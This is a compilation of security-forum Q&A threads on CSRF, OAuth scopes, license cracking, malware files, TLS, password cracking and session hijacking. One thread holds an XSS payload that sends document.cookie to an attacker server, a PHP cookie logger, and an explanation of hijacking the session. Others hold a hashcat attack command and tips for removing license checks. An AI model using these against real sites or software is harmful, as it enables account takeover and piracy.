So simply adding X-CSRF-CHECK: 1 onto your application's AJAX calls and having your backend such as PHP check for $_SERVER['HTTP_X_CSRF_CHECK'], you don't have to generate random tokens to prevent CSRF attacks since other Websites cannot set those headers. This is great since your forms can be easier cached now.

An attacker who can craft a header, will not have your session data since they won't be in your browser session with the server.

A CSRF attacker who cannot craft a header, though can use your session data will fail the X_CSRF_CHECK' header on your backend.


Custom Access control using OAuth 2.0 I'm designing a enterprise infrastructure monitoring application which has customized needs of access control, beyond roles and authorities.

The architecture include multiple nodes of REST API being load balanced, an angular client and an authorization server based on OAuth 2.0 using JWT.

These Rest API nodes are generic and can be run using different configuration properties which will make them work for a different infrastructure which are similar in nature but are separated on the business level. You can think of it as monitoring two different data-centers which are similar in nature but are managed by different group of people due to the scale of infrastructure.

The REST APIs can be run for any of the data-centers by changing some command line arguments.

Then there is an angular client which is made in such a fashion that it can access both of the data-centers' REST API (There is a master dropdown on the top header changing which will basically change the base URL for API hits and hence the datacenter) based on the authorities that signed in user have.

Now the problem part is access control using OAuth 2.0. There are three levels of access control required

Level 1: Datacenter level
Level 2: Dashboard level
Level 3: Action (on a Dashboard) Level

So the use cases may include many situations like:

A user having access to a datacenter 1 but not to datacenter 2
A user having access to a particular datacenter but not to a
dashboard in that datacenter
A user having access to a particular dashboard in datacenter 1 but not in datacenter 2
A user having read access to a particular dashboard but not able to modify anything on that dashboard on datacenter 1 but can modify the same things for datacenter 2

To handle all these scenarios, the angular client will require every user's scope of access so that it can choose to show/hide and restrict access to a particular dashboard or action.

Now the question comes is that many of these access scopes are associated with a web client (angular client in our case) and not directly related to the REST API i.e. many of the authorities that I will be defining will be helpful for the angular client but won't make any sense to any other client (for ex. a python client).

How can I handle such client specific scenarios on the authorization server. Am I  thinking in the right direction or do I need to change my perspective?

This sounds like you are looking for the scope property of oAuth 2.
with scope you can ask for different level of access and to different type of access.

You could even use scoping to limit access to specific Datacenters, just use a named scope per Datacenter.

The oAuth 2 provider can even inform the client about the given scopes, going beyond the scopes requested by the client (this is not true for all clients but is valid in the specs for oAuth)

Remember. oAuth is an Authorization protocol, all it does is inform you that you have access to a specific endpoint with a specific scope.

It will be important to actually limit the REST api calls with the proper scoping (instead of just gatekeeping based on having a valid JWT). The client used should not matter in this choice at all. Since the protocol will inform you about what you can and can not use. You can react to this difference  with a different UI based on the scopes you received.


Do smartphones have built-in surveillance in certain countries? I recently was in a third world country which is know as a police state with heavy cyber surveillance. I noticed that brand new smartphones came in a box that had a nice holographic seal showing the map of that country. (To be specific, it was a Samsung A8, a legitimate one---not counterfeit.)

Is there a chance that certain smartphones sold in that country could have some built-in hard/soft/firmware to facilitate state surveillance? Is that seal just used for benign branding purposes (akin to the Maple leaf on McDonald's logos in Canada), or does it betray a more sinister arrangement between the manufacturer and the regime?

EDIT:

Let me further qualify the question. I realize that a police state will have no problem accessing any kind of telecommunication, but my question is more specific to the actual physical phone facilitating the identification of private individuals. For example, if I were to use a foreign SIM card in that phone, either in that country or abroad, would the surveillance still be possible precisely because it is tied to a "rigged" device. Or to rephrase it differently, would you buy that phone or would the country-specific branding of a major smartphone manufacturer be cause for concern?

There usually is no need for a state to install phone-call-intercepting malware when all they have to do is demand access to calls from the phone carriers. And some countries prohibit encryption on mobile phone calls.

But you asked if they can. Russia allegedly did this during the 2014 Winter Olympics in Sochi, as part of their “Ring of Steel” security strategy. It was claimed that they installed malware on mobile phones in addition to monitoring all network traffic. Such efforts are difficult to prove, of course, but are certainly not unthinkable.


How does a PHP application get nulled and how to avoid it As so many others, I've been a victim of having a PHP product of mine be nulled and put available on the internet to download freely. The purpose of this question is to try to make it more difficult for someone to null an entire PHP application by understanding how it's done and other perspectives on how to avoid it as much as possible.

What I'm trying to know is how does a PHP application with the following protection strategies gets nulled. What does an attacker thinks and do when it wants to null an application:

obfuscated code
license key activation (delivering the rest of the
code once the license is validated and successful)
persistent internal validation: validation of auto generated files, upon finishing the app installation, containing encrypted data of the approved domain and hidden in multiple subdirectories with different filenames and extensions
periodic external validation: periodic cURL validations to my server (hidden in multiple parts of the obfuscated core of the application) with all the common function names used to communicate with external servers also obfuscated with different encodings

I know it's impossible to build an application to be delivered to the public to be attack-proof but is there any chance to build it to be so hard to null that the job for the attacker doesn't payoff?

You are making the assumption that an attacker would only break the protection methods in an application for financial reasons. This isn't accurate - for a very long time, software cracking of this kind has been done for kudos, to show skills, or just for fun. Adding more layers of protection can even entice more people to try, since there is additional kudos from breaking a difficult challenge - just like people tend to be more impressed by difficult feats, such as climbing Everest, than mundane ones, such as climbing the stairs, even when the underlying action is very similar (and yes, I know that climbing Everest is difficult, but I'm making a point!).

As for different types of protection:

obfuscated code - if I just want to run it, doesn't matter. Once I've got a copy of the code, can use it without needing to know what it actually says. If I want to modify the application, it makes things harder, since I'd need to deobfuscate it, work out what information from variable and function names was missing, then make my modifications. You can always deobfuscate code, given sufficient effort.
license key activation - if I've got access to the full code, for example, by breaking into a server of a company who paid for it, it doesn't matter. You can track whose copy got stolen or shared, but that's a legal thing, rather than a technical thing.
persistent internal validation - ah, now we're getting to fun things. Either I can change all the places you've embedded the domain name after reverse engineering the encryption, which sounds like a lot of effort, or I can find where you call the verification routines, and either change them to return that it is always valid, or just remove that code.
periodic external validation - this one breaks some potential uses of the code. For example, it's reasonable to have a firewall rule preventing outbound connections on an internet facing server for the web server user - it means that if someone does break in, it's hard for them to use my server to send spam, say. Your software won't work on it though. To crack it, either deobfuscate and remove the code, or provide my own validation layer, so that users can add your server name to their hosts file, and get a response from localhost saying "valid" in whatever form you request.


Can I scan with nmap from cloud services? Can i conduct nmap scanning from cloud services (i.e AWS)?  i am looking to do external scanning for my company and want to set up something that will be quick, efficient, and cheap. I dont want to stand up my own external box on my own.the cloud services would be ideal. I need to have powerful boxes to handle the workload.

You can do network scans from AWS services, but you need to fill out a request form; otherwise, you will breach their acceptable use policy.  You can find more information about the actual request process here https://aws.amazon.com/security/penetration-testing/


How to use an old PC as a firewall on a tight budget? I'm doing a degree in network computing and am currently working on my dissertation right now. I am not an expert with networking yet, so I'm kind of struggling to get started with my topic that I've outlined below for which I hope to get your invaluable suggestions and advice!

My topic:

Today’s small to medium enterprises (SMEs) are a dynamic environment filled with many applications programs, databases, Internet, and wireless access. In addition, SMEs require Internet connectivity to many of its branches. Securing your network and reputation could be provided expensive firewalls. You are to investigate the use of freeware or shareware tools to provide similar functions to that of firewalls. Investigate readily available tools on the public Internet at a budget to provide:

One appliance network security.
Provide Internet access (after business hours)
Keep computers free from virus and malware threats
Role-based user privileges - define what students, teachers, staff or visitors/customers
can access when on your network.

What my professor needs me to do is basically use a server (which can be an old PC running Windows Server 2008) as a firewall (instead of using a standalone firewall device in order to reduce costs) between my internal company network and the Internet.

He wants me to investigate the freeware/shareware applications available on the Internet so that I could run them on that server to make it an effective replacement for a standalone firewall so as to reduce costs, but provide effective security at the same time for a small company network with limited financial resources.

So far, I have got the small company network design ready but that is all I have been able to do. From my understanding the server (old PC running Windows Server 2008) will require 2 network cards - one to connect to my internal company network switch and the other to connect to the Internet.

I would love to get your suggestions/guidance on how to go forward with the rest of everything right now.

This is all predicated on using the "old pc running Win Server 2008" (I assume you mean Microsoft Windows Server 2008) as a gateway.

This predicate poses a number of issues:

MSWindows in it's various incarnations, is heavier on resources - running the most up to date (i.e. feature rich) version of the operating system on old hardware is hardly a recipe for good performance / reliability.
IMHO, BSD and Linux operating systems offer a far greater set of facilities for networking / managing security out of the box then MSWindows does
MSWindows Firewalls are typically implemented within or on top of winsock.dll, which can leave a lot of the network stack exposed compared with iptables / ipfw
There is a far more diverse and complete ecosystem of free code available for Linux / BSD than for MSWindows
Point 4 is particularly true to applied to free software (as defined by Gnu project et al) where the guarantee of access to the source code gives better opportunity for review of the quality of a product (yes there's lots of freeware/shareware for MSWindows - but where's the source code?)
This ecosystem, in addition to peer review, also gives rise to diverse community support

The argument that the skills for running, say a Linux server are not as widely available in the organisation compared with MSWindows skills is not valid: to add value whoever manages this must understand about security, network protocols, policy planning and implementation....what operating system is used to deploy the implementation on is a very small detail in terms of skill requirement.

So forget about freeware/shareware and go look for "Free software".


Downloaded and (possibly) opened a .scr file. What did it do to my PC (report attached) I've downloaded a .rar file from an anonymous client, extracted it and tried to open its content from a .rar opener window. Nothing really happened so I am not sure if it was actually run. It contained a .src file which I didn't run directly after it was extracted. I've scanned the file online:

https://www.virustotal.com/ru/file/95977c01c727e25f244b0791abd3ba84cc16e917d1c6da3cc58ce7e4947870f2/analysis/

but I am not an expert to tell if it is a malicious file and what it actually can do to my PC. Any help to explain that report would be appreciated.

To give a more general explanation for those finding this question via google:

.scr files are a special variant of windows executable (like an .exe file) originally meant for windows screensaver modules. Once executed (directly or after having been configured to run via control panel), these can do everything (including damage) a windows application running under that user account could do.

The fact these are often misunderstood as a kind of video or data file by the average user (who understands that an .exe file from a doubtful source can be bad news) is nowadays used to spread malware.


What is the difference between Heuristic-based and Behaviour-based virus scanning? I'm struggling to see the difference as all papers and notes I've read seem to contradict each other.

Can someone please explain to me the difference between heuristic and behaviour based virus scanning techniques?

Though Heuristic detection  is heavily use in computing, it is easier to learn the layman heuristic used in judgment and decision-making. Heuristic is first used by Amos Tversky and Daniel Kahneman to study human behaviour, to learn why human course of action base on particular criteria.

In layman term, Heuristic-based and Behaviour-based virus scanning is the same thing.

Preliminary heuristic based scanning will check files/script attributes/pattern or so call "behaviour/actions"  to decide whether it is safe or malicious. So if the code are obfuscated, preliminary heuristic may miss it. So some background process is required to observe what the program will do during execution, stop it when it show some bad behavior. So some people call this as "behaviour scanning/checking".

While in fact, such active file execution still base on a set of heuristic to react. Most malware analyst just use the term "static analysis" and "dynamic analysis" to differentiate the two mechanism.


Can SHA256 signature support be deduced from TLS cipher suites or any other part of ClientHello (if no signature_algorithm sent)? Websites aiming to maintain maximum compatibility with (legacy) browsers may wish to serve SHA2-signed certificate chains to those user agents that support them, and SHA1 to those that don't.

The TLS 1.2 spec (https://www.ietf.org/rfc/rfc5246.txt) defines a new signature_algorithm extension that, when sent by the browser, can be used to detect support for SHA2. For example, if the browser includes "SHA256/RSA" it is telling the server it supports this specific hash/signature algorithm pair. The server can then select a compatible chain and return it, or fall back to something like "SHA/RSA".

There are two main issues with relying on this extension, however:

RFC 5246 specifies that it is optional (see section 7.4.1.4.1)

  If the client supports only the default hash and signature algorithms (listed in this section), it MAY omit the signature_algorithms extension.  If the client does not support the default algorithms, or supports other hash and signature algorithms (and it is willing to use them for verifying messages sent by the server, i.e., server certificates and server key exchange), it MUST send the signature_algorithms extension, listing the algorithms it is willing to accept.

Some browsers (e.g., Android 2.3-4.3) support SHA2 but not TLS 1.2 (see feature matrix)

If the server side logic requires the extension, it may "over serve" SHA1 certificates to clients that could otherwise process SHA2.

Given the above two deficiencies, is there any other part of the TLS handshake ClientHello message that can be used to detect SHA2 support?

Original thinking was to see if SHA256 appeared in the PRF/MAC field of a cipher suite (e.g., the SHA256 at the end of TLS_ECDHE_ECDSA_WITH_AES_128_GCM_SHA256), but it seems that these too will only be present as of TLS 1.2).

The only reliable places to know which signature algorithms are supported you've already detected:

the signature_algorithms extension
and the TLS version offered by the client, which shows that the client implements (hopefully) at least the minimum requirements of this TLS version

Everything else is guessing. You might try to fingerprint the client based on the ciphers offered and on the order of the ciphers (see the SSLLabs client tests). You might add use of other extensions like SNI to the fingerprint. And then you could map the fingerprint to the supported signatures.

But I would recommend against such unreliable hacks. Lots of big sites like Facebook move or moved already to SHA-256 and those will break every client which does not support these signature algorithms. This should put a lot of pressure on the clients to support SHA-256.


Determine salt length from hash I am writing a basic Unix password cracker in Python that would work for MD5, SHA-1 and SHA512.

I know that the salt in MD5 correspond to the 2 first chars of the encrypted password, and thus I assumed that it would be the same for SHA.

But after looking at some answers on SO (here for example), it seems that a Salt can be any string you want.
So, my question is how can I determine the salt part from a hashed password in SHA in the /etc/shadow file ?

I think it is between two $ but I am not completely sure.

I wondered in which SO site it would be the most usefull (Unix or Security) so pardon me in advance if I mischoose.

Thanks

On most modern distributions, the salts and the hashed passwords are stored in the shadow file /etc/shadow (which is only readable by root), not the /etc/passwd file.  For each user record in /etc/shadow, the salt is between the 2nd $ and the third $.  See answer by mti2935 in https://stackoverflow.com/questions/18035093/given-a-linux-username-and-a-password-how-can-i-test-if-it-is-a-valid-account for more info.


How effective is the iOS "Send All Traffic to VPN" setting at deterring Wifi-based attacks? iOS version 5 and newer has a setting for VPNs to "Send All Traffic" over that VPN.  I think that sending all data to a trusted VPN target would ensure privacy of all communication sent over that WiFi link, and also prevent disclosure of HTTP cookies.

How effective or reliable is that setting in protecting a user's traffic over wifi?

I'm concerned not only about all data being captured and redirected over VPN, but also denying everything including DNS lookups (or limit them) prior to the VPN even being established.

My intuition tells me that since a VPN host name needs to be resolved over DNS, there are exceptions to the checkbox "Send ALL Data".

What applications, APIs, or services are exempt from the "Send All Data" setting in VPN?
Can the DNS name be spoofed for hosts that are expected to be protected over the VPN profile?

Assuming the VPN is setup securely, this gives good protection against WiFi attacks.

You're right that any traffic needed to setup the VPN will go directly on the WiFi. DNS spoofing could happen during VPN setup. Depending on the exact setup of your VPN, the VPN may have protection against this (by server certificate or shared secret) - or it may not.

As I understand it, once the VPN is setup, and "Send All Traffic to VPN" is enabled then DNS queries go over the VPN. So you are safe from DNS spoofing on the WiFi network (although potentially, someone on the same VPN could spoof you). Note: I have not actually tested this with Wireshark, although that would be an interesting exercise.


What is the difference between a "Thumbprint Algorithm" "Signature Algorithm" and "Signature Hash Algorithm" for a certificate? I'm a bit confused on the differences between Signature Algorithm, Signature Hash Algorithm, and Thumbprint Algorithm that are present in SSL/TLS certificates.  Can someone please elaborate?

You are confused because some people (yeah I am looking at you, Microsoft) have been using the terms inconsistently.

A signature algorithm is a cryptographic algorithm such that:

The signer owns a public/private key pair. The public key is public, the private key is private; even though both keys are mathematically linked together, it is not feasible to recompute the private key from the public key (which is why the public key could safely be made public).
On a given input message, the signer can use his private key to compute a signature, which is specific to both the signer's key pair, and the input message.
There is a verification algorithm that takes as input the message, the signature and the public key, and answers "true" (they match) or "false" (they don't).

The cornerstone of signature security is that it should not be feasible, without knowledge of the private key, to generate pairs message+signature that the verification algorithm will accept.

You may encounter some "explanations" that try to say that digital signatures are some kind of encryption; they usually describe it as "you encrypt with the private key". Don't believe it; these explanations are actually wrong, and confusing.

For technical reasons, signature algorithms (both for signing and for verifying) often begin with a hash function. A hash function is a completely public algorithm with no key. The point of hash functions is that they can eat up terabytes of data, and produce a "digest" (also called "fingerprint" or even "thumbprint") that has a fixed, small size. Signature algorithms need that, because they work with values in some algebraic structure of a finite size, and thus cannot accommodate huge messages. Therefore, the message is first hashed, and only the hash value is used for generating or verifying a signature.

That hash algorithm, when it is used as first step of a signature generation or verification algorithm, will be called "signature hash algorithm". When we say something like "RSA/SHA-256", we mean "RSA signature, with SHA-256 as accompanying hash function".

A "thumbprint algorithm" is another name for a hash function. It is often encountered when talking about certificates: the "thumbprint" of a certificate really is the result of a hash function applied to the certificate itself (in Windows systems, the SHA-1 hash function is used).


Resolving "This website has been reported as unsafe" (Windows Defender SmartScreen) I had a website that was compromised—the attacker planted malware that caused a redirect to a malicious site. The security holes have now been fixed and the malware has been removed. However, Microsoft Edge is still showing the message "This website has been reported as unsafe", which was true a few days ago but is no longer the case. I can't find any information on what the process is to get this notice removed. Any ideas?

I can't find any information on what the process is to get this notice removed.

Your site was clearly visible blocked by Windows Defender SmartScreen. Your problem is addressed in the Windows Defender SmartScreen FAQ or your might just have looked further into the More Information part of the message. To cite from the FAQ:

  Q. If I am a website owner, how do I correct a warning on my legitimate site?
  A.
  You can immediately submit a request for a correction. Windows Defender SmartScreen has a built-in, web-based feedback system in place to help customers and website owners report any potential false warnings as quickly as possible. In Windows Internet Explorer, from a red warning, click More information then Report that this site contains no threats. This will take you to a feedback page where you can indicate you are a site owner or representative. Follow the instructions and provide the information on this site to submit a site for review...


Securing php files from external include Can anybody externally include my php file in their scripts?
E.g. I have a file with classes executing code to db, and is it possible that somebody from external environment includes my php file and is able to run the classes.

Your PHP files contain scripts that is run on the server side only.

A scenario in which someone could run your PHP scripts on your behalf means either your web application/server is compromised or you have given specific  permissions to a trusted third party for that to happen.


Nemesis packets not detected in wireshark/tcpdump I have been using nemesis for forging fake DHCP request packets on my Ubuntu machine. I get a "packet injected" message each time I inject it. However I was not able to analyze it on wireshark as my packet in not being shown there. Nor do I get any reply packets from server. I am using the correct payload extracted from valid DHCP requests. What might be the problem.

Okay with my first test, I used etherape GUI to show what types of packets were being sent when I replayed the injected packet. What I saw was the color code for "UDP UNKNOWN" which leads me to believe it is a possible issue with Nemesis itself. In wireshark, there was no response from my router as a result of replaying the packet.

Subsequent tests using specific filters in wireshark as well as tcpdump are still showing zero results after replaying injected packet. I read over the nemesis changelog and it seems it has had injection issues in the past.

May have to report this as a bug in Nemesis even though I am not sure if the tool is even being maintained any longer. hate to say it but I don't think I'll be able to figure this one out. And that sucks.


jasypt message integrity I've been looking into ways to encrypt an authentication token that I need to pass from one site to another. Things i have learned so far are

use a high level library.
don't use ECB
use a HMAC to provide message integrity.
encrypt then hash

So in my search for such a easy to use high level open source java library I bumped into jasypt. But i have been digging a bit through the code and it seems not to use any HMAC at all. So i'm wondering if i shouldn't use this library and which alternatives are adequate. I prefer a java-only solution ( no C bindings ).

I would suggest Keyczar. This is a cryptography toolkit which once was developed by Google. It has Java, Python and C++ implementations. As far as I'm aware Keyczar was thoroughly tested. During that testing one timing attack was found and fixed. However this was the only case so far and I would consider it a fairly good bet.

The PDF file in chapter 8 provides some better information about HMAC. And if you look at the question »Should we MAC-then-encrypt or encrypt-then-MAC?« at crypto.SE you get a deeper answer to the Encrypt-then-MAC case.


How do I decrypt a .dmg image if I know details about the password? I encrypted a folder and forgot to save the password.

I remember how long I made the password (40 characters)

I know the last two characters (40)

I don't know the first 38 characters but I do know what they might be (a-z, A-Z, / and \)

I've come accross this thread that might help but I am having trouble modifying it to my specific problem.

Edit:
The 38 unknown characters are words. All words begin with a capital letter followed by only lowercase.

Minimum length of the words is 3 characters and maximum length is 8. This does not mean there is a word with 8 characters but that there will not be a word with more than 8 characters.

Three of those words are [Dark, Sun, Orange].

There are no repeating words. Except possibly for the word "Dark".(I am not sure if I used it once or twice in the password).

All the words are separated with either / or \. The slashes alternate. So if / was used then the next slash will be \. The slashes are used only to separate the words. So if a slash was used the next character will not be a slash.

The password only has 4 possible starts

  Dark/Sun\ or Dark\Sun/ or /Dark\Sun/ or \Dark/Sun/

The password only has 2 possible ends

  /Orange\40 or \Orange/40

This leaves brute forcing either 21 or 20 characters depending on the possible start

The answer/thread you linked to stated (regarding the brute force tool):

  Practically, this will bring you absolutely nowhere, unless the .dmg was encrypted with an extremely naive password (like 'admin' or '1234').

Unfortunately, based on your description of the passwords:

  I don't know the first 38 characters but I do know what they might be (a-z, A-Z, / and )

it appears that you are not in the situation where the password is naive or trivial.

Rather, you are going to have to try to brute force

(26+26+2)**38 = 677583580243194174785518969776514402284639204793077421485626228736

different possible 38 character prefix combinations.

Even if you were using millions of state-of-the-art processors to perform the brute force attack, it would still take longer than the lifetime of the universe... So, the linked-to brute force attack will not work for you.

Update:

The OP has updated the question with much more information about the 38 character prefixes. The additional information greatly increases our knowledge of the potential passwords. In particular:

  The 38 unknown characters are words.. .All words begin with a capital letter followed by only lowercase... Minimum length of the words is 3 characters and maximum length is 8. The password only has four possible starts... The password only has two possible ends

OP goes on to state:

  This leaves brute forcing either 21 or 20 characters depending on the possible start

The OP's above statement above brute forcing up to 21 characters is (happily) not correct assuming the OP's previous statement "The 38 unknown characters are words" is true.

It is much more difficult to brute force 20 or 21 characters than to brute force sets of words that add up to 20 to 21 characters.

The key point here is the words are not just random strings of characters and this fact greatly decreases the "entropy" of the passwords.

In order to take advantage of this fact we need a word list of potential words OP would have used to construct the passwords. Luckily these word lists exist. If we know that OP would have only used very common words we can probably get away with a list of a few thousand words (maybe less). But, if OP might have used more obscure words, the list will probably be a few tens of thousands of words long.

The fact that the first letter of each words is capital and the rest are lowercase does not increase the entropy at all, since there is no choice being made.

To estimate the entropy and the difficulty of brute-forcing, let's assume that the words were selected from a list of 10000 words. And let's further assume the average length of unknown word is (3+8)/2 = 5.5 characters.

Thus, contributing factors to the entropy are:

Four (4) possible starts
Two (2) possible ends
Approximately (10000)**3.23 = 8,317,637,711,027 possible infixes
Approximately (2)**3.23 way to choose "/" or "\" to divide the infix words

In step three, I have assumed there are approximately n=3.23 "words" on average in the password infix. This number came from the fact that if there are "n" words in the infix then there are also "n" "\" (or "/") characters and thus (assuming 21 characters rather than 20):

n = 21/(<len(w)> + 1) = 21/(5.5 + 1)

The details of the above-described approximation don't really matter much, but it's useful to try and get an order-of-magnitude approximation. In practice, what one would probably do is write a sub-routine to construct the infix by iterating through all the words in the word list multiple times and concatenating words and "/" or "\" until the infix is 20 or 21 characters and then break/return.

So, in all, the total number of combinations is approximately:

624,333,836,962,635

Which is still a large number of potential passwords, but much more manageable than before.

In order to construct a program that brute-forces theses passwords one must "simply" (in practice it will take a bit of work) construct a program that iterates through the four types of choices stated above to choose concrete realizations of the passwords that conform to the conditions.

Assuming you can try something like 100000 passwords a second, this method will still take about 200 years, but it is a great improvement over the previous method.

The greatest contribution to the number of passwords comes from the assumption that the word list is 10000 words long. If there is any way to further reduce this based on your prior knowledge then you made be able to brute force these passwords in a reasonable amount of time. For example, basic english words lists are only about 800 words long. If we can assume basic english instead of 10000 word english then the number of combinations is only:

178,812,358,291

Which you might potentially brute force in a few hundred hours if you can try 100000 passwords a second.

Per the comments:

The total amount of cracking time clearly depends on the number of attempts you can make in a given amount of time.

I have assumed, based on not much else than the desire to put down some concrete numbers as examples, that in the OP's latter case the number of attempts per second is 100000.

If the number of attempts OP can make is different from this, then the total cracking time will scale accordingly. The scaling of total time with number of attempts per second is linearly with the inverse of attempt time. For example:

total_time_in_days =  number_of_combinations/number_of_attempts_per_second/60/60/24


hashcat - is there a way to set minimum password length? Let's say I have a couple of hashes that I need to bruteforce as dictionary attack didn't work. Is there a way I can tell hashcat to start from a specific password length so it won't waste resources on looking for results that won't work?

Sounds like you're looking for --increment-min. This will start a bruteforce/mask attack at a minimum length.

For example, this will try digits-only candidates, starting with length 7:

hashcat -a 3 -m [hashtype] -i --increment-min=7 targethashes.list ?d?d?d?d?d?d?d?d?d?d

You didn't directly ask this, but the deeper intent of your question appears to be "what can I do beyond a dictionary attack?"

There are many other options to try before you go full bruteforce - combinator, hybrid, masks. See hashcat's core attack modes for some introductory materials.


Can an unprivileged process in a hardware-virtualized system cause a `VMExit` without cooperation from the kernel? For SVM or VT-x, the set of conditions which trigger a vmexit to the virtual machine monitor is pretty complex.  Can an unprivileged process trigger any of these without assistance from the kernel?  The documentation for VMMCALL and VMCALL both say they only work in ring 0, so I assume they're OK.

This is a followup question to Ninefinger's excellent response the other day.  There was so much detail there, it has taken a while for me to assimilate. :)

What you need to understand instructions are the Intel software Developer Manuals. For what it's worth, I sometimes find them a bit opaque - so I contrast what I read on google and in the AMD Manuals as they both implement the x86/x64 architecture.

Specifically, for this you need Vol 3C: Virtualisation. As of the current manual you want page 293 ("VMCALL—Call to VM Monitor"). In there, you have this helpful expression:

IF not in VMX operation
    THEN #UD;
ELSIF in VMX non-root operation
    THEN VM exit;
ELSIF (RFLAGS.VM = 1) or (IA32_EFER.LMA = 1 and CS.L = 0)
    THEN #UD;
ELSIF CPL > 0
    THEN #GP(0);
...

Translation into English: #GP is a general protection exception, CPL is the current privilege level. VMX non-root operation is:

  There are two kinds of VMX operation: VMX root operation and
  VMX non-root operation. In general, a VMM will run in VMX root operation and guest software will run in VMX non-root operation.

So, that would imply that VMCall instructions can be issued from any privilege level on the guest. The ring 0 requirement only applies to the host system. However, I caveat that with a disclaimer - see my implications bulletpoints in a minute.

Crazily insane I know. Apparently, however, it's true. Have a read of this thread where KVM kernel devs are discussing exactly this. The KVM patch in question did this:

kvm_get_segment(vcpu,&cs, VCPU_SREG_CS);
if (cs.dpl != 0) {
    ret = -KVM_EPERM;
    goto out;
}

Which considers the "hypercall" invalid if not made from guest ring 0.

Implications:

Any guest level code can issue a VMCall. However, from the very preliminary reading I've done it seems as though it (might) might be impossible for that to be useful in any way - as ring 3 addresses would presumably be virtual w.r.t the guest operating system (and therefore mean nothing to the host). I strongly suspect this is the case, but I cannot (yet) confirm it.
If you think about it this makes sense - if guest level code triggers some other kind of VM Exit you want the VMM to take over.
However, I suspect many hypervisors implement the above restriction - ring 0 guest only, or some other conditions on the hypercall API they apply.
However, they may not.

So, what you need to do if you really want to dig into it is verify:

What hypercalls, if any, your VMM supports.
What conditions they consider a hypercall valid. As I say, I expect the VMCall will be restricted to guest ring 0 only.

If it is the case that VMCall et al can only be meaningfully executed from ring 0, then your client-side guest code must be able to execute in ring 0 too, or persuade some of your existing code to do something it shouldn't. For example:

You can persuade the kernel to execute an arbitrary piece of code that contains the VMCall to do whatever it is you want.
You persuade an existing driver that uses a VMCall to make that call your way i.e. with your arguments, rather than the ones it might ordinarily use.

The success of that for an exploit depends entirely on the hypervisor and if those VMCalls are vulnerable or not. If they're not, it doesn't matter whether you managed to call them - the hypervisor can reject them as appropriate. At this point, I honestly don't think this exploit route (through a VMCall) is very likely (although the consequences are of course pretty severe if there were one).

Two things I've missed here:

There are many other triggers for VM Exits. Can guest processes cause them? Not programmatically I don't think - they happen because of something the guest is doing (conditions for exits supplied by the VMM) rather than in direct response to an opcode.
Again, "breaking out" of a VM is a loose term. Users of virtual machines should also be wary of things like network emulation - if your guest and host can talk to each other over TCP/IP and your host IP stack has a vulnerability in it and code on the guest can exploit it - you could still be compromised. Likewise, transferring files from guest to host carries an inherent risk.


Does Disabling Right Click In Windows Explorer Do Anything? I am at a student at a school which blocks the right click in Windows Explorer and the desktop, as well as on the taskbar. I don't exactly understand why they do this, since most of the commands on the right click menu are also avaliable in the File menu in Explorer (and they don't block that). While I don't mind, many of the not so technical students do since they now don't know how to rename a file, create a folder, copy and paste, etc.

I'm not planning to breach the security in any way (I honestly don't really care if it's disabled or not) but I'm just wondering how this makes the system more secure.

Nope. It makes absolutely zero improvement in security and disables a normally useful feature.

As you're probably well aware, there's a number of shortcuts that work to do all the things you've mentioned like F2 to rename files, Ctrl+C for copy, Ctrl+v for paste.

It does absolutely nothing to prevent keyloggers, screen cappers, viruses/malware etc. To that end, it doesn't even take any kind of steps towards stopping or slowing down malicious behaviour.


How to use a stolen cookie? I have taken advantage of an XSS vulnerability to steal a cookie by sending it as a variable in the URL to my php page. I think that is one of the normal processes.

This is the XSS payload:

<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>

And this is my php:

$cookie = $_GET['cookie'];

//open the file and choose the mode
$fh = fopen("users", "a");
fwrite($fh, $cookie);

//close the file
fclose($fh);

print "User Submitted: ";
print ($cookie);

Everything well so far. But now that I have the cookie, how do I use it to get into the website I stole it from?

...php writes the cookie into a file. (I think that is one of the
  normal processes).

From what you wrote above, it seems that there could be some misconception with your understanding on how a session is being created and maintained on a website. When a user logs in to a website, a session id is generated and this id is stored in a special cookie, known as the session cookie, on the client's browser, like this:

PHPSESSID:fgws4j52jcm10dkgw02nd2

At the same time, a session file (or database row) with the same id is created containing variables (such as user name, login time) related to that particular user. These session variables are stored server side and called from the superglobal $_SESSION array when a session is started.

To hijack a session, what you need is a cookie containing the name-value pair like the one above. One precondition is that the victim must be logged in during the attack such that the session file with the stolen id is still fresh on the server. Also, the website must not be doing other extraneous checks (such as user agent or IP address) to thwart hijackers.

<script>location.href = 'http://myserverIP/test/signup.php?cookie='+document.cookie;</script>

The javascript you wrote above merely injects a name-value pair in the superglobal $_GET array. What you want is to transmit the name-value pair using your browser cookie, certainly not with the URL.

Most modern browsers store the cookie information in a database such as sqlite. To edit a cookie, you need to access the web console or the developer toolbar which is covered here for Chrome and here for Firefox.


Defending from POST requests from BURP? On my site, I restrict access to forms through assigning a $_SESSION['id'] if they are logged in.

If there is no $_SESSION['id'], to form page will redirect to a login page.

But I ran burpsuite on my site, and it had access to these forms when I spider'd my domain. BURP was even able to submit POST data, and it wound up appearing in my database.

Is there a term for this, and how can I stop it?

Assuming that your $_SESSION['id'] is a random long string that cannot be guessed (that would be a security issue) you need to validate at server side when a POST request comes in that it has a VALID session ID and the account is authorized for the functionality.

Now someone can bypass your authentication with Parameter tampering as you most likely only check if an ID is present and not if it is authorized for the action.

Check the following links and do some googling:

OWASP Session Management Cheat Sheet

OWASP authentication cheat sheet


SUN Remote Procedure Call Port 111 I have found on my machine port 111 is open. This is listed as RPC.

I understand there are possible attacks on this port. How can my machine be attacked if port 111 is open?

How can I secure this port?

TCP and UDP ports 111 are the well-known ports for ONC RPC portmapper.  Portmapper is analagous to DNS, in that an RPC server registers with the portmapper process on the machine they both run on.  An RPC server gives the portmapper the port(s) on which the RPC server listens for requests, and the (hopefully unique) number that identifies the interface or contract that the RPC server provides.

A prospective RPC client queries the portmapper on port 111, giving it the number identifying the RPC server that the RPC client wishes to use. Portmapper gives back the TCP or UDP port(s) that the RPC server registered earlier.  The RPC client then can contact the RPC server directly, leaving portmapper out of any further interactions.

If you don't have an ONC RPC server process running, then you probably shouldn't have portmapper running.  The most common RPC server would have to be NFS, Sun's Network File System, but NIS and NIS+ also uses that RPC system. Portmapper code had suffered a few buffer overflows, but in general it was pretty rugged.  I wouldn't run portmapper without running a server just on general principle: why waste CPU cycles on it, as well as give morons a target to try 25-year old exploits on?


Someone tried to log into my mail - what do I do? I have a 2-step verification system for both my gmail accounts. Today, I received a message with a code when I wasn't trying to log in.

So someone has my password. What's my next step here? What should I do?

Change your password. Keep a strong password. Change your security question as some one close to you can easily guess the answer and get the access to your account.


